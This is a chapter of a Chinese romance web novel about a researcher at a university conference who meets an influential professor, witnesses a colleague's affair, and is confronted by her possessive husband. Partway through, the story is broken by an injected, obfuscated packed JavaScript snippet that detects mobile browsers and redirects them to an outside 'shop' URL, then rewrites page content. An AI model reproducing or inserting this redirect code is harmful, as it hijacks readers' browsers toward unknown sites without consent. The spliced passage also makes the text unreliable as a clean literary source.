“这种事情,还是你情我愿比较好。”李施惠规劝林至承回头是岸,他要是进去了,恐怕学界又会失去一颗冉冉升起的新星。 看她被唬住,林至承笑得肩膀轻抖,做出完全不符合人设的动作,手指搭了下唇:“没事,她会离婚的。” 呃,咒人离婚?好像不太好。 “你可以考虑一下别人,天涯何处无芳草。”李施惠思索,“比如小粟,她是一个很可爱的女孩子。” 说完李施惠不由感慨,自己是真的要迈入三十岁大关了,自动觉醒替人牵线搭桥的红娘基因。 林至承想了半天才想起李施惠说的是谁,心冷。 正巧这时,宁隽融看见林至承,熟络地走过来和他打招呼。 他们是Q大本科的同学。 “至承,这位是?”宁隽融一开始只是扫了李施惠一眼,突然定住,又看她第二眼,笑容扩大,“你不介绍一下?” 13.三人行 李施惠打起精神,主动伸手介绍自己:“你好,我是明城大学的研究员李施惠。” 宁隽融友好地和她轻握,语气意味深长:“听说过。” “施惠在F大读的博,今天算是回母校了,我打算带她来见见Ramesh教授。”林至承十分自然地向宁隽融介绍李施惠,“你们要是有什么好的项目,也别忘了她,她是我在明城的联系人。” 李施惠总觉得林至承说的话很奇怪,但又得体礼貌到让她没办法第一时间想出问题所在,站在一边笑笑。 肩膀被很有分寸地拍了一下,林至承提醒她:“和宁总留个微信吧?” “好,宁总我加您。”李施惠心里给林至承点赞,拿出手机,低头开机。 头顶,宁隽融朝林至承揶揄一笑,两个人眼神交战几个回合,宁隽融突然错开眼神,往林至承身后一瞥。 “抱歉,失陪一下。”他大步离开。 李施惠抬头时只见到对方的衣角。 开机后,她的手机一直在疯狂弹消息,机身发烫,完全没办法打开任何软件。 李施惠汗颜,还好宁隽融先行离开,不然得让对方久等。 短信快速滚动,李施惠的视线扫过,脸色难看。 江闽蕴:惠惠,不要让我生气。 江闽蕴:惠惠,我现在飞回来,你在家等我好吗? 江闽蕴:接电话接电话!李施惠我求你接电话行不行?有什么脾气你冲我发,不要不接电话。 江闽蕴:李施惠,你和谁在一起?先回家。 江闽蕴:李施惠,你真狠心。 手机里不仅有江闽蕴的消息,甚至还有她表弟李施毅的好几条短信,明明她们很久都没有联系。 李施毅:姐我想来看看你,你还好吗? 李施毅:姐你在哪里?姐夫要疯了! 虽然李施毅向来喜欢大惊小怪,但是李施惠心里还是涌起不好的预感。 她还在纠结怎么处理,林至承径直伸手,替她把手机关机。 “我有宁隽融和翁之韵的联系方式,待会推给你。”林至承的姿态大义凛然,真挚地建议她,“听分享会还是专注一点比较好,不要被外界干扰心情,尤其是使用电子设备。” 心情的确因为看到那些短信而变得低落,一边是鸡飞狗跳的家庭生活,一边是乐趣横生的大佬讲座。 算了,江闽蕴背着她做了那么多糟心事,晾晾他又何妨? 让两个人各自冷静一番再好好解决这些问题,或许会有意想不到的效果。 李施惠选择自我欺骗。 会议重新开始前,李施惠抓紧时间去了一趟洗手间。 她在学生时代来过无数次金色会议厅,知道有个地方的洗手间隐蔽且人少,她简直不想漏听一分钟Ramesh教授的发言,因此步履匆匆。 出了洗手间转过转角,看见一男一女站在小楼后的灌木丛边,影影绰绰。 李施惠以为是学生,并不好奇,刚要路过,却听两人中的女人说:“我要回去开会,你先回家。” 她顿住,认出这个女人是翁之韵。 站在翁之韵身前的是个个子高大的年轻男人,垂着头,虽然看不清面貌,但绝对不是宁隽融:“所以你是对宁隽融回心转意,然后选择抛弃我?” 他朝前迈了一步,把翁之韵挤在身体和墙面之间。 “是不是?翁之韵你不能这样……” 翁之韵大概是叫了一声男人的名字,李施惠听不真切,挣动间,男人把翁之韵搂着腰抱起来,压在墙上热烈地吻住。 灌木丛间传来带着水声的簌簌响动,让人面红耳赤。 李施惠瞪大眼睛,简直不敢信自己看到了什么。 她倒吸口凉气,暗叹翁总不仅公司管得好,感情也十足风流,和宁总的恩爱夫妻竟然是装的。 转身要回金色会议厅,就看宁隽融无声无息地站在她背后,越过她的肩膀视线冰冷地看向灌木丛间的激情男女。 李施惠觉得自己心脏真的要吓出毛病,捂住差点发出惊叫的嘴。 宁隽融一改刚才春风和煦的气场,冷漠瞥她一眼,用食指搭住嘴唇。 李施惠懂行地点点头,溜之大吉。 她在心里默念,冷静啊,宁总您千万要冷静。 不要干出血溅F大的事。 又安慰自己,你看,生活处处是瓜田,吃完你的吃别人的,别害臊,人人平等。 坐回位置,让人惊喜的是Ramesh教授还没开讲,对新知充满热情的李施惠心里又开始放晴。 林至承给李施惠递了杯大麦茶,这一举动让李施惠对他不禁泛起一丝怜悯,委婉地提醒:“我刚刚想了想,还是希望你不要过像宁总那样的生活比较好。” 虽然快三十还在吃爱而不得的苦,但总比被绿好点。 不过林至承听完脸上没有任何高兴的神色,又开始说些高深莫测的话:“李施惠,原来你挺聪明。” 李施惠好心被当成驴肝肺,懒得回他。 狂想之前存档的林至承羡慕.jpg。 分享会结束,林至承带李施惠到后台Ramesh教授的休息室,三个人简单聊了会。 李施惠的英文相当流利,但面对Ramesh教授兴奋过头,一开始有点结巴,后来稳定住颤抖的声线,才把自己研究方向和新的选题讲明白。 Ramesh教授又问了她具体的研究思路,然后可惜地指出,她的想法很棒,但是研究思路和方法已经落后。 “你这样的思维做出的成果会缺乏创新。为什么你总是预设一个目标,然后根据目标做研究呢?研究本来的目的,就是探索新的发现。”Ramesh教授手舞足蹈地解释,“就像你们国家的寓言故事,一个人把剑掉在水里,却在船上做标记,等靠岸后再去找,这样能找到吗?” 根据李施惠描述的研究思路,他又提了几个改进的方向,李施惠被Ramesh教授一点拨,简直是醍醐灌顶,激动得想给他敬个大礼。 “我听Victor说,你想来我的团队做博后?”她的虚心和恭敬让Ramesh笑着打量她一眼,又看林至承,“他说你们是同学,你的能力不错。” 李施惠也不可置信地转头看向林至承。 他竟然替她直接做了推荐? 这还是她印象里不近人情的老同学吗? 我带老同学吃食堂,结果老同学帮我做强推,李施惠生出一点愧疚。 “Victor给我看了你近几年发表的文章,实话实说,数量多,但质量不高。” Ramesh直言不讳,让李施惠不好意思地抿抿嘴唇,她为了满足学校的要求,近几年加班加点地写文章,但的确,她迫切想留校的愿望反而让她的科研事业更为浮躁,没写出什么很有价值的东西。 “不过,我需要且欣赏你这种努力的人。”Ramesh教授也不承诺她什么,善意地笑,“如果你有意向,整理一份最新的CV发到我的邮箱,我不会因为Victor而给你放水,依然会是正常的流程。” 正常的流程,意味着李施惠已经是被他抽中的会查看邮件的幸运儿之一。 李施惠全身有无数股细小的电流,在此刻静悄悄地汇聚在她的心脏,形成一座座拔地而起的活火山。 爆发!爆发! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15896051|176275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爆发! 李施惠必须保持后辈对前辈敬仰的矜持,把掌心掐出指痕,才能忍住想要大叫的冲动。 忍不住,忍不住,于是在心底默默炸掉一座又一座火山。 对着飞溅岩浆,漫天流火,李施惠站在心底狂妄地呐喊:“啊啊啊啊啊啊啊这是MIT的Ramesh教授给的机会啊啊啊啊啊啊啊啊!” 情场失意又如何? 她有一种飘飘欲仙的不真实感,明明距离拿到这个机会还有很长很长一段路要走,但李施惠此刻已然横扫所有烦闷,一心只有拥抱学术的快乐。 走出金色会议厅,走进春天里,李施惠如同出笼之鸟。 她穿一双低跟皮鞋,提着包,仿佛回到还在F大读书的时代,刚走下会议厅长长的阶梯,就忍不住站在会议厅的花圃边欢快蹦哒一下。 “啊——”她往一边栽倒。 也许是乐极生悲,李施惠的身体平衡被打破,就这么水灵灵地崴了脚。 林至承眼疾手快地托住她的手肘,掌心握着她的小臂往上抬,扶稳她:“影响走路吗?” 李施惠摇头,把手抽回来,真诚地朝林至承道谢:“我太开心了!林至承,谢谢你帮我引荐Ramesh!真的非常感谢你!如果你以后有什么需要我帮忙的,我也会尽力而为!” 林至承没有说话,眉眼放松地笑起来。 她跺了跺脚检查情况,抬头就看见宁隽融单手扣着翁之韵的肩膀,把人拢在身前,从金色会议厅走出来。 分享会的人流已经散尽,按道理他们应该先走,不知为何反而迟迟离开。 宁隽融看见他们,倒也丝毫没有尴尬,匆匆点头告别,紧紧揽着翁之韵往停车场走。 翁之韵全程一言不发,依偎着宁隽融。浓密的大波浪盖住她漂亮的脸,路过李施惠身边时,秀发扬起一缕,露出的细腻面颊上泛着不太正常的红。 好事地往他们来时的方向多看一眼,李施惠竟然看见刚刚在灌木丛边和翁之韵抱在一起热吻的年轻男人。 正大光明地打量他的正脸,眉眼俊逸,气质出尘。 李施惠不得不承认,无论是宁隽融还是眼前的男人,翁之韵的眼光着实不错。 翁总实乃吾辈之楷模。 而这个男人也并不避讳什么,就这么不远不近地跟着宁隽融和翁之韵,大摇大摆路过他们身边。 “顾学弟?”林至承叫住他,语气惊讶,“你今天也来参会?” 李施惠没想到这个男人也在林至承的交际圈内,她以为翁之韵做坏事的对象至少不会选择同一个圈子里的人。 毕竟不同圈子的话,出事的概率会更小。 “林学长,好久不见。”林至承的学弟淡定一笑,双手插兜:“我只是过来找翁总汇报个急事。” 的确是找翁总,也看起来挺急的,李施惠极力忍住知道真相的表情,十分好奇翁之韵究竟怎么了。 宁隽融明明目睹一切,最后竟然和小三一起安然离场? 林至承毫不知情,给李施惠介绍:“这是韵融科技的顾总,顾粤识,也是比我小三岁的Q大学弟,当年学金融的。” “不是什么总。”顾粤识摆摆手,谦虚道,“我在韵融给翁总当秘书而已。” 原来是韵融科技的董秘。 他没和李施惠握手,点头示意后,把视线转回林至承,笑问:“这位姐姐是学长的夫人?” 不不不—— 李施惠刚准备启唇否定,想要做个自我介绍。 却听见背后传来一个阴冷到极致的声音。 “和你的学长有什么关系?” “她是我老婆。”